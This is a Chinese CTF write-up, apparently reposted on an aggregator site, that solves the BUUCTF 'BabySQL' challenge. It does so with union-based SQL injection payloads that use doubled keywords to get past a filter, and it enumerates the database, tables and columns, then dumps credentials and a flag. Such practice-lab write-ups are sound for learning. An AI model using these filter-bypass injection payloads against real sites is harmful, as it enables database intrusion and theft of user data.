当前位置: 首页 > news >正文

[极客大挑战 2019]BabySQL—3.20BUUCTF练习day4(3)

[极客大挑战 2019]BabySQL-3.20BUUCTF练习day4(3)

做题过程

打开是以下页面(前几天有它的第一版和第二版出现)在这里插入图片描述输入1’
回显以下内容(还是字符型以单引号闭合,因为有报错信息回显)
在这里插入图片描述输入1' order by 4%23回显成这个
在这里插入图片描述被过滤了
先不管列数看看
输入1' union select 1,2%23判断显示位在哪里
在这里插入图片描述那就使用以下双写绕过
输入1' ununionion seselectlect 1,2%23双写绕过,判断显示位在这里插入图片描述这里显示列数不相同,那么为什么会有这个报错呢
这是因为union 的特性
你要查询语句的字段数量必须要和服务端数据库的查询语句字段数量要一致(指的是union前后的select后面的数字(例如刚刚的查询语句中的1,2字段数是2因为在数据库查询字段数不同所以报错)
那就试一试
1' ununionion seselectlect 1,2,3%23

在这里插入图片描述好啦✔回显正确,之后就使用双写绕过
现在知道了列数(字段数)也知道了回显位(将数据回显在客户端屏幕上的位置)
该查询库名和用户名
输入-1' ununionion seselectlect 1,database(),user()%23
在这里插入图片描述根据联合查询,该查询表名了
输入-1' ununionion seselectlect 1,group_concat(table_name),3 from information_schema.tables where schema_name='geek'%23
在这里插入图片描述修改为-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema='geek'%23
在这里插入图片描述我们查询b4bsql这个表里面的字段名
输入-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whewherere table_name='b4bsql'%23
在这里插入图片描述查询字段内容
输入
-1' ununionion seselectlect 1,group_concat(id,0x3A,username,0x3A,password),3 frfromom b4bsql%23
在这里插入图片描述那就再输入-1' ununionion seselectlect 1,group_concat(id,0x3A,username,0x3A,passwoorrd),3 frfromom b4bsql%23
得到flag
在这里插入图片描述flag{0bbd78c4-ad10-4e17-92d7-72d0022bb992}

http://www.dtcms.com/a/82741.html

相关文章:

  • 传感器研习社:Swift Navigation与意法半导体(STMicroelectronics)合作 共同推出端到端GNSS汽车自动驾驶解决方案
  • IM项目 ----- 项目部署
  • SZU软件工程大学生涯 2022~2026
  • 语言大模型之BERT
  • Java 大视界 -- Java 大数据中的知识图谱可视化与交互分析技术(141)
  • 数据库面试题一
  • 开箱即用:免费的数据库管理平台 NineData 社区版
  • 安装和部署Tomcat并在idea创建web文件
  • 在linux服务器部署Heygem
  • pdf文件分页按需查看
  • c库、POSIX库、C++库、boost库之间的区别和联系
  • 自动驾驶背后的数学:多模态传感器融合的简单建模
  • 星玲之战.重启誓约(第四章)
  • 玩转C#函数:参数、返回值与游戏中的攻击逻辑封装
  • 日做力扣题3 -- 206. 反转链表
  • Day11 动态规划入门
  • 第11章:Kubernetes架构详解:控制平面与数据平面
  • 学习CSS滤镜属性 `filter: invert()`
  • 目标检测20年(二)
  • GRS认证的注意事项!GRS认证的定义
  • 纯血鸿蒙:中国操作系统自主创新的里程碑
  • 第六届IEEE人工智能、网络与信息技术国际学术会议(AINIT 2025)
  • asp.net core mvc模块化开发
  • java退出程序异常分类
  • Geoserver修行记--离了个大谱,Geoserver的图层搜索不能用
  • 移动wsl2的系统镜像
  • 混合精度-基于torch内部
  • 阿里qwen大模型AI智能分析实时对话生成病例的DEMO
  • 设计一套水产养殖系统
  • 安卓NAS,众乐影音APP,低成本打造全能家庭存储中心